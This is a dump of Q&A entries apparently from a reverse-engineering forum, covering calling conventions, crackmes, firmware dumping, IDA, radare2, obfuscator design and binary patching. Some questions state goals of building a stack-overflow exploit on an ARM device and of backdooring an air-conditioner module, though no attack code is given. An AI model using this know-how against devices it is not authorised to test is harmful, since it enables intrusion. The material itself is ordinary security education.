    $ gcc -g stack.c\n$ gdb a.out\n\n(gdb) disass main\nDump of assembler code for function main:\n   0x0000000100000f70 <+0>:     push   rbp\n   0x0000000100000f71 <+1>:     mov    rbp,rsp\n   0x0000000100000f74 <+4>:     sub    rsp,0x10\n-> 0x0000000100000f78 <+8>:     mov    edi,0x1\n-> 0x0000000100000f7d <+13>:    mov    esi,0x2\n   0x0000000100000f82 <+18>:    call   0x100000f50 <test>\n   0x0000000100000f87 <+23>:    xor    esi,esi\n   0x0000000100000f89 <+25>:    mov    DWORD PTR [rbp-0x4],eax\n   0x0000000100000f8c <+28>:    mov    eax,esi\n   0x0000000100000f8e <+30>:    add    rsp,0x10\n   0x0000000100000f92 <+34>:    pop    rbp\n   0x0000000100000f93 <+35>:    ret\nEnd of assembler dump.\n(gdb) disass test\nDump of assembler code for function test:\n   0x0000000100000f50 <+0>:     push   rbp\n   0x0000000100000f51 <+1>:     mov    rbp,rsp\n-> 0x0000000100000f54 <+4>:     mov    DWORD PTR [rbp-0x4],edi\n-> 0x0000000100000f57 <+7>:     mov    DWORD PTR [rbp-0x8],esi\n   0x0000000100000f5a <+10>:    mov    esi,DWORD PTR [rbp-0x4]\n   0x0000000100000f5d <+13>:    add    esi,DWORD PTR [rbp-0x8]\n   0x0000000100000f60 <+16>:    mov    eax,esi\n   0x0000000100000f62 <+18>:    pop    rbp\n   0x0000000100000f63 <+19>:    ret\nEnd of assembler dump.\n
    \n\n

    Here, instead of using the stack directly, the two values I'm passing to the function test are stored in the registers esi and edi (corresponding lines marked with ->).

    \n\n

    Here's my setup:

    \n\n
    $ gcc -v\nConfigured with: --prefix=/Applications/Xcode.app/Contents/Developer/usr --with-gxx-include-dir=/usr/include/c++/4.2.1\nApple LLVM version 7.0.2 (clang-700.1.81)\nTarget: x86_64-apple-darwin14.5.0\nThread model: posix\n\n\n$ gdb --version\nGNU gdb (GDB) 7.11.1\n...\nThis GDB was configured as \"x86_64-apple-darwin14.5.0\".\n...\n
    \n\n

    My two questions are:

    \n\n\n", "Title": "Passing argument through registers instead of the stack", "Tags": "|gdb|stack|gcc|arguments|", "Answer": "

    This behavior is totally normal. The way functions are handled is usually described in what's called an ABI (Application Binary Interface). It defines calling conventions which detail how a call is made in assembly code and how parameters are passed to a function using specific registers. I would recommend Agner Fog's C++ Optimization Manual. It contains extremely helpful information about Linux, Windows, and MacOS ABIs.

    \n" }, { "Id": "14170", "CreationDate": "2016-12-14T18:40:16.573", "Body": "

    I am learning reverse engineering, and would like a way to try out methods I'm learning.

    \n\n

    In web security, the way to try out and learn methods is a thing called DVWA. It is an insecure web app made for web security people to exploit.

    \n\n

    Is there something like this for reverse engineering?

    \n", "Title": "Is there something like DVWA (Damn Vulnerable Web Application) for reverse engineering?", "Tags": "|decompilation|", "Answer": "

    You can try your hand at analyzing programs which are used to introduce reverse engineering concepts in academia such the binaries available for download at RPI's \"Modern Binary Exploitation\" course page at http://security.cs.rpi.edu/courses/binexp-spring2015/ in the sections titled \"Tools and Basic Reverse Engineering\", \"Extended Reverse Engineering\" and \"Reverse Engineering Lab\". I believe the 11 or so crackmes included in the challenges.zip file are similar to the IOLI crackme files, for which there are many tutorials available.

    \n\n

    One of the binaries in the bombs.zip file is called \"cmubomb\" which is Carnegie Mellon University's binary bomb, also available at their student lab site http://csapp.cs.cmu.edu/2e/labs.html, for which there are also many tutorials across the web.

    \n\n

    NYU also has some reverse engineering \"challenge applications\" to analyze at https://github.com/isislab/Hack-Night#workshop-materials-5.

    \n\n

    Note: The binaries from the aforementioned sources are Linux ELF 32-bit executables. Almost all are unstripped. If you would like to analyze Windows binaries, you can get Win32 versions of the IOLI crackmes from https://github.com/radare/radare2book/tree/master/crackmes/ioli. The IOLI-crackme.tar.gz file available for download there contains 10 Windows PE32 executable files.

    \n\n

    Update: The CMU labs, including the binary bomb, now require an Instructor account to download.

    \n" }, { "Id": "14171", "CreationDate": "2016-12-14T21:43:07.973", "Body": "

    Recently the Microsoft Visual Studio 2015 compiler finally complied with the C++ standards mandate to generate thread-safe code for function local statics. For the most part this works just fine but I ran into a situation on Windows XP where the following 3 instructions led to a blow up:

    \n\n
    mov     eax,dword ptr fs:[0000002Ch]\nmov     ecx,dword ptr [MyModule!_tls_index (102eea44)]\nmov     ecx,dword ptr [eax+ecx*4]\n
    \n\n

    Obviously the compiler seems to implement thread-safety by first poking into the TLS slot of the current thread. fs:2Ch is supposed to lead to the TLS array per documentation. However on Windows XP, fs:2Ch doesn't seem to be set. This returned 0 for me and so did the next instruction (_tls_index was also 0.) That led to the 3rd instruction blowing up as it was accessing invalid memory.

    \n\n

    Does anybody know why fs:2Ch might not be set on Windows XP? Function local statics are used all over our code and I can't imagine no one else running into this.

    \n", "Title": "Thread local storage access on Windows XP", "Tags": "|disassembly|windows|thread|", "Answer": "

    If your module is a DLL that is loaded dynamically by your executable, then Thread Local Storage won't be initialized on Windows XP for the DLL.

    \n\n

    Quoting from my \"Ultimate\" Anti-Debugging Reference, section 4, page 25:

    \n\n

    \"On Windows Vista and later, dynamically-loaded DLLs also support Thread Local Storage. This is in direct contradiction to the existing Portable Executable format documentation, which states that \"Statically declared TLS data objects ... can be used only in statically loaded image files. This fact makes it unreliable to use static Thread Local Storage data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function\".

    \n" }, { "Id": "14177", "CreationDate": "2016-12-15T05:39:50.767", "Body": "

    I'm trying to learn firmware analysis. The device I chosen was my Motorola SBG901 modem. I managed to dump the memory contents via JTAG using the FlashcatUSB adapter. The memory dump is about 8MB in size. Now this is where I am lost I'm trying to analyze the dump. But I don't know where to start. I have used binwalk on it which I believe brought back false positives as the output was as follow:

    \n\n
    DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n67434         0x1076A         Certificate in DER format (x509 v3), header length: 4, sequence length: 803\n68243         0x10A93         Certificate in DER format (x509 v3), header length: 4, sequence length: 1024\n70361         0x112D9         Certificate in DER format (x509 v3), header length: 4, sequence length: 808\n71175         0x11607         Certificate in DER format (x509 v3), header length: 4, sequence length: 988\n81036         0x13C8C         Certificate in DER format (x509 v3), header length: 4, sequence length: 866\n81908         0x13FF4         Certificate in DER format (x509 v3), header length: 4, sequence length: 983\n82897         0x143D1         Certificate in DER format (x509 v3), header length: 4, sequence length: 864\n89278         0x15CBE         Certificate in DER format (x509 v3), header length: 4, sequence length: 803\n90087         0x15FE7         Certificate in DER format (x509 v3), header length: 4, sequence length: 1024\n92205         0x1682D         Certificate in DER format (x509 v3), header length: 4, sequence length: 808\n93019         0x16B5B         Certificate in DER format (x509 v3), header length: 4, sequence length: 988\n102880        0x191E0         Certificate in DER format (x509 v3), header length: 4, sequence length: 866\n103752        0x19548         Certificate in DER format (x509 v3), header length: 4, sequence length: 983\n104741        0x19925         Certificate in DER format (x509 v3), header length: 4, sequence length: 864\n111122        0x1B212         Certificate in DER format (x509 v3), header length: 4, sequence length: 803\n111931        0x1B53B         Certificate in DER format (x509 v3), header length: 4, sequence length: 1024\n114049        0x1BD81         Certificate in DER format (x509 v3), header length: 4, sequence length: 808\n114863        0x1C0AF         Certificate in DER format (x509 v3), header length: 4, sequence length: 988\n124724        0x1E734         Certificate in DER format (x509 v3), header length: 4, sequence length: 866\n125596        0x1EA9C         Certificate in DER format (x509 v3), header length: 4, sequence length: 983\n126585        0x1EE79         Certificate in DER format (x509 v3), header length: 4, sequence length: 864\n
    \n\n

    I believe binwalk gave false postive output as the dump probably isn't a packed image. I say this because I also ran strings on the dump and received a lot of readable strings a snippet is shown below:

    \n\n

    \"Out

    \n\n

    I'm tryring to extract the firmware so I can use QEMU and try to do some vulnerability findings. I'm doing this for knowledge sake but I am inexperience with reading dump files. Can someone point me in the direction that would teach me how to decipher the memory dump and eventually extract the firmware. I really want to learn how to read the dump because I plan to analyze other firmwares hence I want to learn the essentials. For instance I know that there are firmwares that are packed/unpacked and/or encrypted/unencrypted. They usually consist of bootloaders, OS, filesystem, libraries, and apps (such as webserver). Can some point me in the direction of some useful resource that will teach me how to read dump and determine how to get the firmware out with all right files (filesystem, bootloader, apps, etc...)?

    \n\n

    Thanks in advance

    \n", "Title": "Memory dump analysis", "Tags": "|binary-analysis|firmware|memory-dump|", "Answer": "

    If you only want the firmware, you can find it in this link.\nAnd this link might be of use. Apparently the chip on your box is a BCM3361, a MIPS32 according to Broadcom. I think you can emulate it with QEMU, no obvious issues there.

    \n\n

    Your dump is more likely to be a mix of code and data. It's pretty hard to dissociate data from code; you'll have to go in with a substantial entropy analysis (data and code entropy are very different). You can check the different Binwalk options here, the explanations are pretty clear.

    \n" }, { "Id": "14196", "CreationDate": "2016-12-18T21:53:27.227", "Body": "

    I feel dumb for needing to ask, but I've been annoyed by this several times in the past and have yet to come across the answer.

    \n\n

    Sometimes, when rearranging tabs in IDA Pro, I accidentally detach the tab from the main window, leaving it floating in its own window. The problem is that I have no idea how to reattach it, so generally when that happens I have to close it and reopen that view in the main window, which isn't the best solution.

    \n\n

    In other programs that do the whole \"a tab can be detached as its own window\" thing, generally there's something that appears on the main window to signal that's where you need to drag it to to reattach it. Browsers do a slightly different thing in that you just drag the tab back to the tab bar. Neither of those work in IDA, and I can't find anything in the menu.

    \n", "Title": "How to reattach tabs in IDA?", "Tags": "|ida|", "Answer": "

    Well, I managed to figure it out. If you click on the small gray bar just below the titlebar, you can drag it back to the main window. If you hover over the gray bar, it will tell you as much, but the fact that it's just below the titlebar (which is what you'd normally click to drag the window around), it's easy to miss.

    \n\n

    Edit:\nIf you want to reset all tabs to their locations. Just click Window -> reset desktop. This is current at least in version 7.2 .

    \n" }, { "Id": "14206", "CreationDate": "2016-12-20T22:11:29.483", "Body": "

    I'm looking for help in analyzing a few .bin files. I have a program that installs a \"firmware\" update when I connect my camera through USB.

    \n\n

    I'm on a Mac Os Sierra. Inside the Applications Folder under this Camera App/../../ I find a folder called Resources.

    \n\n

    Actual files can be downloaded here: .bin (if you're interested)

    \n\n

    I did a binwalk -e to extract the data from each .bin and the did a FILE command to understand a little more of what each individual is. Here are my results below:

    \n\n

    \"enter

    \n\n

    I highlighted files I thought were interesting or/and were linked or related. (Again I'm not too sure what the crap I'm doing)

    \n\n

    I'd love to get some feedback on someone who better understands all of this. I'm trying to find the \"firmware\" and possibly decompile it and add a few things then put it all back together.

    \n\n

    Thanks

    \n\n
    \n\n

    John Doe,

    \n\n

    Again thanks. Here are some images of what I was able to get working on my PC laptop using CHIPSCOPE. Chipscope came with Xilinx WebPack, like I said above in my comment. I was able to connect to my Xilinx via JTAG ports but not much past that. I'll have to research further into how to utilize the microblazer tool chains...

    \n\n

    \"enter

    \n\n

    So should I bring over the .ELF files from my Mac and open them up with my SDK Tools? Or better question, where can I learn more about this process so I stop asking stupid questions? I'm not too familiar with how to use the Xilinxs SDK Tools and how to configure the FPGA with these microblazers .ELF files.

    \n\n

    \"enter

    \n\n

    Thanks again.

    \n", "Title": ".bin files Firmware", "Tags": "|binary-analysis|firmware|binary|binary-diagnosis|fpga|", "Answer": "

    Your camera has a Xilinx FPGA inside. FPGA design likely includes Microblaze soft CPU core. Files extracted by binwalk appear to be valid ELF files, so you'll just need to download Microblaze toolchain. The easiest way to do so is to download Vivado WebPack (it's free) and install it \u2014 you'll find a toolchain in the Xilinx SDK folder.

    \n\n
    $ microblazeel-xilinx-linux-gnu-readelf.exe -S 218CC2\nThere are 20 section headers, starting at offset 0x111554:\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .vectors.sw_excep PROGBITS        00000008 0000b4 000008 00  AX  0   0  4\n  [ 2] .vectors.interrup PROGBITS        00000010 0000bc 000008 00  AX  0   0  4\n  [ 3] .vectors.hw_excep PROGBITS        00000020 0000c4 000008 00  AX  0   0  4\n  [ 4] .text             PROGBITS        c20ca400 0000cc 0b7cd0 00 WAX  0   0 16\n  [ 5] .init             PROGBITS        c21820d0 0b7d9c 000038 00  AX  0   0  4\n  [ 6] .fini             PROGBITS        c2182108 0b7dd4 000020 00  AX  0   0  4\n  [ 7] .rodata           PROGBITS        c2184000 0b7df4 012ca7 00  Ao  0 128684 8192\n  [ 8] .sdata2           NOBITS          c21a36ac 0d76ac 000004 00  WA  0   0  1\n  [ 9] .data             PROGBITS        c21a36b0 0caa9b 0461be 00 WAo  0 869620  4\n  [10] .ctors            PROGBITS        c2277ba4 110c59 000004 00 WAo  0   8  4\n  [11] .dtors            PROGBITS        c2277bac 110c5d 000004 00 WAo  0   8  4\n  [12] .eh_frame         PROGBITS        c2277bb4 110c61 0007b5 00 WAo  0 2048  4\n  [13] .jcr              PROGBITS        c22783b4 111416 000002 00 WAo  0   4  4\n  [14] .gcc_except_table PROGBITS        c22783b8 111418 000080 00 WAo  0 140  4\n  [15] .sdata            NOBITS          c2278444 1ac440 000004 00  WA  0   0  1\n  [16] .bss              NOBITS          c2278448 1ac440 002244 00  WA  0   0  4\n  [17] .stack            NOBITS          c227a690 1ac440 000c00 00  WA  0   0  1\n  [18] .heap             NOBITS          c227b290 1ac440 1dd84d70 00  WA  0   0  1\n  [19] .shstrtab         STRTAB          00000000 111498 0000ba 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n
    \n" }, { "Id": "14210", "CreationDate": "2016-12-21T07:20:12.660", "Body": "

    I'm interested in learning. Where can I find CrackMes for beginners? Especially ones with answers.

    \n", "Title": "Where can I find CrackMes for beginners?", "Tags": "|crackme|", "Answer": "

    Try these two links, they are full of resources :

    \n\n
      \n
    1. https://johannesbader.ch/projects/solutions-to-crackmes/
      2. \n
    2. https://tuts4you.com/download.php?list.61
      3. \n
    \n" }, { "Id": "14214", "CreationDate": "2016-12-21T14:13:07.043", "Body": "

    For PowerPCs how do you find out the TOC address or the SDA address? \nLike for example in this case.

    \n", "Title": "PowerPC reversing finding the SDA and the TOC", "Tags": "|ida|powerpc|", "Answer": "

    SDA is r13, and it changes very rarely. So finding any assignment to r13 will solve the problem for SDA.

    \n\n

    Specifically for the referred example it was

    \n\n
    lis       r13, 1        # Load Immediate Shifted\naddi      r13, r13, -0x2BF0 # 0xD410 # Add Immediate\n
    \n" }, { "Id": "14215", "CreationDate": "2016-12-21T14:33:52.460", "Body": "

    Im a newbe in radare and while I tried to patch a crackme binary, I opened it the first time in debug mode (-d), while debugging I used oo+ to reopen it with write mode, when I modify an instruction using wx, it works but when I quit it gives me two confirmation messages with yes no I press enter two times, then it get back to the original stat, and loose the modification, \nHow could I keep changes even after quitting ???

    \n", "Title": "Binary patching using radare2 in debug mode", "Tags": "|radare2|patching|", "Answer": "

    This is normal and expected behaviour. when you are in the debugger what you are modifying is the process memory, not the disk file.

    \n" }, { "Id": "14218", "CreationDate": "2016-12-21T17:33:29.750", "Body": "

    Consider the following instruction:\n\n8D 8C 4E B0 2F FF FF LEA ECX, [ESI+ECX*2-0xD050]\n

    \n\n

    Using IDAPython, how can I extract the structure of the second operand? I'd like to know things like:

    \n\n\n\n

    Its ok if I have to make a bunch of IDAPython API calls together. So far, I've had to resort to string parsing, and I'd really like to get rid of this.

    \n\n
    \n\n

    The most relevant API function I've found is idautils.DecodeInstruction(), yet it doesn't seem to completely cover the structure of the second operand. See below for my exploration:

    \n\n
    i = idautils.DecodeInstruction(<ea from above>)\n\n# operand type\nassert i.Op2.type == idc.o_disp\n\n# operand value type\nassert i.Op2.dtyp == idc.dt_dword\n\n# operand flags\nassert i.Op2.flags == idc.OF_SHOW\n\n# structure of o_displ operand is like:\n#\n#    Memory Reg [Base Reg + Index Reg + Displacement].\n\ndef get_reg_const(reg):\n    '''\n    fetch register number from string name.\n    '''\n    ri = idaapi.reg_info_t()\n    idaapi.parse_reg_name(reg, ri)\n    return ri.reg\n\n# we probably expect to find these constants in the operand structure\nassert get_reg_const('ecx') == 1\nassert get_reg_const('esi') == 6\n\n# the operand structure\nassert unsigned2signed(i.Op2.addr)  ==  0xD050  # displacement\nassert i.Op2.n          == 1   # operand number\nassert i.Op2.phrase     == 4   # \"number of register phrase\", don't know what this means\nassert i.Op2.reg        == 4   # \"number of register\", don't see how this applies\nassert i.Op2.specflag1  == 1   # unknown interpretation, could be \"ecx\"!?!\nassert i.Op2.specflag2  == 78  # 0x4E, unknown interpretation\nassert i.Op2.specflag3  == 0   # probably empty\nassert i.Op2.specflag4  == 0   # probably empty\nassert i.Op2.specval    == 0x200000  # unknown interpretation\nassert i.Op2.value      == 0   # \"outer displacement\" (none here)\n
    \n", "Title": "How can I extract the structure of an operand with displacement in IDAPython?", "Tags": "|ida|x86|idapython|", "Answer": "

    There doesn't seem to be an elegant solution to this. Looks like if you would be writing a plugin in C you would be able to call sib_base, sib_index, sib_scale to get the info.

    \n\n

    Here's how you could do it in Python.

    \n\n\n\n
    from idautils import DecodeInstruction\nfrom idaapi import get_reg_name\n\nea = 0x20AC5 # Assuming this ea is a lea\ni = DecodeInstruction(ea)\n\nhasSIB = i.Op2.specflag1\nsib = i.Op2.specflag2\n\nif hasSIB:\n    base = sib  & 7\n    index = (sib >> 3) & 7\n    scale = (sib >> 6) & 3\n    size = 4 if i.Op2.dtyp == idaapi.dt_dword else 8\n    print '[{} + {}{} + {:x}]'.format(\n        get_reg_name(base, size),\n        get_reg_name(index, size),\n        '*{}'.format(2**scale) if scale else '',\n        i.Op2.addr\n    )\n
    \n\n

    Example Output:\n[ebx + eax*4 + 8c]

    \n" }, { "Id": "14223", "CreationDate": "2016-12-22T12:31:33.810", "Body": "

    I know we can edit opcodes in radare2's visual mode using i.
    \nBut is there any way to edit instructions directly in visual mode?

    \n

    In my case, the instruction is:

    \n
    jae 0x8048450\n
    \n

    And I want change it to:

    \n
    jnbe 0x8048450\n
    \n", "Title": "edit instructions directly in visual mode", "Tags": "|radare2|patching|reassembly|", "Answer": "

    In visual mode, you can use the A command, to launch the interactive assembler, type your opcodes, and see in real time the corresponding hex code.

    \n\n

    You could have found this command by typing ?, to get help, in visual mode.

    \n" }, { "Id": "14232", "CreationDate": "2016-12-23T14:02:22.587", "Body": "

    As part of exercise in RE I noticed that some string is not appear correctly in the code.

    \n\n

    I have the following code:
    \n\"enter

    \n\n

    In the orange colour the string doesn't appear correctly.
    \nIn the red it appear correctly.

    \n\n

    I want that the code in the orange will be like the one in the red.

    \n\n

    We can see that in address 0x10751 we have:

    \n\n
    push offset word_107DE ; SourceString\n
    \n\n

    At the address of word_107DE (0x107DE) the string appears as:

    \n\n
    word_107DE dw '\\'\naDosedevicesPr_0:\n    unicode 0, <DosDevices\\ProceHelper>, 0\n
    \n\n

    In 0x107DE we have an extra row:

    \n\n
    word_107DE dw '\\'  \n
    \n\n

    How can I fix it and merge this row to be like this:

    \n\n
    aDosedevicesPr_0:\n    unicode 0, <\\DosDevices\\ProceHelper>, 0\n
    \n\n

    And after this I hope to see the name of the string in the code.

    \n", "Title": "How to fix string structures in IDA", "Tags": "|ida|", "Answer": "

    Move the cursor to word_107DE, press ALTA (or Options/Ascii String style from the menu), and click the Unicode button.

    \n" }, { "Id": "14234", "CreationDate": "2016-12-23T15:16:17.090", "Body": "

    I'm reversing a closed platform to try gain execution using an exploit, a stack overflow. I've been told that (since there are no debuggers) the best way is to use RAM dumps (that I have) to try understand how long the buffer is, where the Link Register after the buffer is, how the calling convention works... so I can create a exploit successfully.

    \n\n

    More info about the platform.

    \n\n\n\n

    I would like to know how can I identify the stack in memory (although there may be more than one) and how to identify also memory pages, and know which ones are executable.

    \n", "Title": "How to find the stack and other info in a memory dump? ARM", "Tags": "|arm|exploit|buffer-overflow|stack|calling-conventions|", "Answer": "

    The only idea I have is to compare the dumps. The places that are same in all dumps are code or read only data. The places that are changing from dump to dump are either stack or section like .bss. After finding places that are not changing I'd try to disassemble these places in order to divide between code and data.

    \n\n

    I think that the places with the code should have higher entropy then places with the data but I can not prove it formally.

    \n\n

    In addition you probably should take in consideration the following:

    \n\n\n\n

    Generally speaking I'm not pretty sure that working with RAM is the best solution, and if I'd be tasked with such a thing I'd try to solder out the flash memory with initial image, read it and reverse engineer it statically.

    \n" }, { "Id": "14246", "CreationDate": "2016-12-25T21:46:09.090", "Body": "

    I want to create my own, static obfuscator for any executables. What is the best way to do it with python? How should I start or what sources should I learn to do it? Anyon can give me some tips or links connected with this topic?

    \n", "Title": "Write own obfuscator in Python", "Tags": "|python|", "Answer": "

    You should start with reading documents.\nYour problem definition is too broad to be covered by reading sources of already existing solutions.

    \n\n
      \n
    1. You need to learn the executable formats you are intending to work with, \"any executable\" is too broad (ELF, PE, jar, whatever else ?)
      2. \n
    2. You need to learn the platform architecture (is it ARM, MIPS, x64 ?)
      3. \n
    3. After that you need to define the list of obfuscating transformations you want to apply to the executable of type of your choice .
      4. \n
    4. All the rest depends very much on the list of the transformations and information you'll have to apply these transformations.
      5. \n
    \n\n

    Here is the reading list (unfortunately, it is far from being covering the whole problem)

    \n\n
      \n
    1. Taxonomy of obfuscating transformations - classic work by Collberg and others
      2. \n
    2. Studies in program obfuscation - if you want to have some theoretical background on math around the obfuscation
      3. \n
    3. PE format - go by links from wiki, there are a lot
      4. \n
    4. ELF format - the same if you want to obfuscate elf executables
      5. \n
    5. Intel SDM - the best and definitive definition of Intel processors assembly language, replace it with similar document about your platform if you choose to obfuscate non-intel binaries
      6. \n
    6. tuts2you downloads section related to obfuscation - some articles inside
      7. \n
    7. In addition I'd recommend you to follow @Rolf Rolles, he wrote some excellent articles on deobfuscation, such as this or this.
      8. \n
    \n\n

    After reading this you'll be able to search for more fine-grained information.

    \n\n

    The most approachable methodology to deal with the issue is using LLVM.\nLLVM has python bindings that probably can be used for this.\nThere are some works related to obfuscation with this methodology, but none of them has complete solution in python, for example

    \n\n
      \n
    1. Example of simple obfuscator with LLVM
      2. \n
    2. You'll probably find something interesting here, more invested LLVM based obfuscator
      3. \n
    3. By the way, here is work on deobfuscating results of one of version of obfuscator mentioned before
      4. \n
    4. McSema - a framework for transforming executable to LLVM IR. - you'll need it to read the executable and transform it into the form related to LLVM.
      5. \n
    \n\n

    Your question is actually huge, and I'm far from covering the topic.\nHowever this topic is very interesting, and I wish you good luck with that :)

    \n\n

    UPDATE:

    \n\n

    As it appears from comments the topic starter wants to write as a starter something similar to UPX, which looks much simpler.

    \n\n

    Here is a list of links that may be helpful for that:

    \n\n
      \n
    1. UPX source code - it is not python, but good for reference
      2. \n
    2. pefile is a multi-platform Python module to parse and work with Portable Executable (aka PE) files.
      3. \n
    \n\n

    I'd suggest to learn PE format first, and read the code of UPX.

    \n" }, { "Id": "14257", "CreationDate": "2016-12-27T14:46:32.203", "Body": "

    I have a game on my PC that reads and writes registry keys and values to the HKLM hive. I am trying to see if it is possible to modify the game so that it uses the HKCU hive instead.

    \n\n

    The source code for this game isn't available so I am trying to disassemble the game binary and see if the assembly can be modified to accomplish this.

    \n\n

    I am seeing sections like this in PE Explorer but I can't figure out what parts of it are used to target the HKLM hive:

    \n\n
     L004036E0:\n        lea eax,[esp+1Ch]\n        lea ecx,[esp+08h]\n        push    eax\n        push    00020019h\n        push    ebx\n        call    SUB_L00401F70\n        push    eax\n        push    80000002h\n        call    [ADVAPI32.dll!RegOpenKeyExA]\n        cmp eax,ebx\n        jnz L004037E9\n        lea ecx,[esp+14h]\n        lea edx,[esp+000000A0h]\n        push    ecx\n        mov ecx,[esp+20h]\n        lea eax,[esp+1Ch]\n        push    edx\n        push    eax\n        push    ebx\n        push    SSZ00413090_InstallPath\n        push    ecx\n        mov dword ptr [esp+2Ch],00000104h\n        call    [ADVAPI32.dll!RegQueryValueExA]\n        cmp eax,ebx\n        jnz L004037E9\n        cmp dword ptr [esp+18h],00000001h\n        jnz L004037E9\n        lea edx,[esp+000000A0h]\n        push    0000005Ch\n        push    edx\n        lea esi,[esp+000000A8h]\n        call    SUB_L00406310\n        add esp,00000008h\n        cmp eax,ebx\n        jz  L00403775\n L00403763:\n
    \n", "Title": "Modify program's registry accesses from HKLM to HKCU in assembly", "Tags": "|disassembly|windows|x86|", "Answer": "

    You are looking to identify all calls to RegCreateKey/Ex and RegOpenKey/Ex calls, then check their first parameter, then change it to HKCU integer definition (0x80000001) instead of HKLM (0x80000002).

    \n\n

    In the above, you quite clearly see it push the first parameter to RegOpenKeyExA, 0x80000002. So, you just change those to 0x80000001.

    \n" }, { "Id": "14261", "CreationDate": "2016-12-27T22:05:44.737", "Body": "

    A couple of days ago I bought an air conditioner.\nThe system has a wireless module. By analyzing the ports, I could see that port 22 is open.

    \n\n

    I have obtained the file that is responsible for managing the connection with the outside and internally (the interface).

    \n\n

    The file is of type BFLT executable - version 4 ram. Here is more detailed information. (extracted from radare)

    \n\n
    type    bFLT (Executable file)      class      bflt\nfile    backupServer                arch       arm\nfd          6                       bits        32\nsize     0x3d804                    machine   unknown\niorw t     true                     os         Linux\nblksz      0x0                      minopsz     4\nmode       -r--                     maxopsz     4\nblock     0x100                     pcalign     4\nformat    bflt                      subsys     Linux\nhavecode  true                      endian    little\npic       false                     stripped   false\ncanary    false                     static     true\nnx        false                     linenum    false\ncrypto    false                     lsyms      false\nva        false                     relocs     false\nbintype   bflt                      binsz     251908\n
    \n\n

    This file I have been able to virtualize with qemu-arm.

    \n\n

    In the BFLT files there is a section containing all the string and using IDA Pro with the bfltldr plugin to relocate the strings. For debugging I have used the architecture arm litte endian generic

    \n\n

    Analyzing the application with IDA Pro, I was able to observe that it expects from the outside some commands with a format and some parameters.

    \n\n

    The parameters I have but the arguments do not as it is complicated to debug without having any kind of information about the name of each function.

    \n\n

    The operating system used by the application I think is GNU/Linux or a variant.

    \n\n

    My goal is to analyze the arguments and parameters that are passed via socket to try to find some vulnerability (buffer overflow, ...) and inject a shell to open a backdoor.

    \n\n

    The problem I have is that I find it costly to debug the application since in IDA Pro are the memory addresses in the functions and I would like to know if there is any change memory addresses, by the names of known functions of the GNU/Linux.

    \n", "Title": "Reverse a BFLT file", "Tags": "|ida|disassembly|arm|qemu|shellcode|", "Answer": "

    bFLT format is used in uCLinux systems and its executables use one of two approaches to make system calls:

    \n\n
      \n

    1. Statically linked libc (uClibc). In this case you should see explicit syscalls (SVC instructions) in the code. Depending on the age of the system the will be using either Old ABI (with syscall number encoded as the operand of the SVC instruction) or the new ABI(EABI) with syscall number in R7. You can look up syscall numbers e.g. here.

      2. \n

    2. Libc in a shared library. I have never seen it myself but it seems uCLinux does support shared libraries loaded at fixed addresses. So you may see calls to apparently unmapped addresses where the libc is supposed to be loaded. In this case you may need to disassemble the libc binary as well to label the functions using syscalls and then match against the calls in the binary.

      3. \n
    \n\n

    In either case I would suggest you installing or building an uCLinux toolchain and compiling a few helloworld binaries with it. The nice thing about it is that the bFLT is produced from an ELF as the final step so you can compare the ELF with all symbols against the bFLT which should give you some clues how to handle your target.

    \n" }, { "Id": "14264", "CreationDate": "2016-12-28T06:24:34.957", "Body": "

    While debugging inside a loaded exe process (using IDA Pro as a disassembler, and WinDbg as a debugger) I can right click the code view and select Graph view:

    \n\n

    \"enter

    \n\n

    That will switch it to this nice code-flow view that is much easier to read:

    \n\n

    \"enter

    \n\n

    But if I step into a system DLL (in this case mshtml.dll) I can't seem to get that same Graph view command, and instead I get this generic view:

    \n\n

    \"enter

    \n\n

    So I was wondering, if there's a way to enable Graph view for a system DLL as well?

    \n", "Title": "How to switch to \"Graph View\" in IDA Pro while debugging with WinDbg inside a system DLL?", "Tags": "|ida|disassembly|windows|debuggers|", "Answer": "

    IDA can only display functions in graph mode, so in order to see that code as a graph, you must:

    \n\n

    Find the start of the function

    \n\n

    Search for a prologue, such as push ebp, mov ebp, esp1, and find the start of the function. If it gets hard, you can always load debug symbols2 and find the start like that.

    \n\n

    1: Actually, most Microsoft DLLs are compiled with the hotpatch option, which means that the prologue is prefixed with mov edi, edi (here's why), so searching for that instruction should be very easy.

    \n\n

    2: In the WinDbg command line, write .symfix to fix the symbols path and .reload /f mshtml.dll to reload the symbols for that module. Alternatively, go to Debugger -> Debugger windows -> Modules list, find mshtml.dll in the window, right-click it and choose \"Load debug symbols\". Then, simply use the Functions window or the status bar to find the start of the function.

    \n\n

    Make it a function

    \n\n

    Put the cursor at the start, and press P. Now press Space and you'll be in graph mode!

    \n" }, { "Id": "14266", "CreationDate": "2016-12-28T19:04:04.923", "Body": "

    When disassembling an old Delphi 3 executable, I find some routines that pass arguments in registers EAX, EDX, and on the stack \u2013 but not in ECX!

    \n\n

    For those routines, ECX never gets set to a 'reasonable' value. This can be seen inside the code of small functions which do use EAX, EDX, and the stack, and also when such a routine is called inside a 'tight' inner block, which ought to be self-containing as far as function arguments go. (This version of Delphi clearly predates call stack optimization.)

    \n\n

    This is quite surprising because according to Delphi's current owners (and, thus far, in my own experience), Delphi has always used register:

    \n\n
    \n

    Register Convention
    \n Under the register convention, up to three parameters are passed in CPU registers, and the rest (if any) are passed on the stack. The parameters are passed in order of declaration (as with the pascal convention), and the first three parameters that qualify are passed in the EAX, EDX, and ECX registers, in that order.

    \n
    \n\n

    Initially, I found this in some routines that reside in vcl30.dpl, the standard library, and so I assumed it was a peculiarity of that particular build (perhaps the library was created with an even older version of Delphi which did not use ECX). But now I also find user routines that are missing ECX! (In both the called function and in calling it, and the function has a number of stack arguments.) Inside a called function an argument may be unused, but the compiler would not know that, and it'd still provide that argument.

    \n\n

    This messes up my disassembly; not only I have to provide a dummy argument in the original function's prototype, but also the back-tracking fails because my code cannot find an assignment to ECX, and so it presumes the called function only uses the first 2 arguments.

    \n\n

    It seems to violate the strict register calling convention. Is there a calling convention that uses the other 2 registers but not ECX?

    \n\n
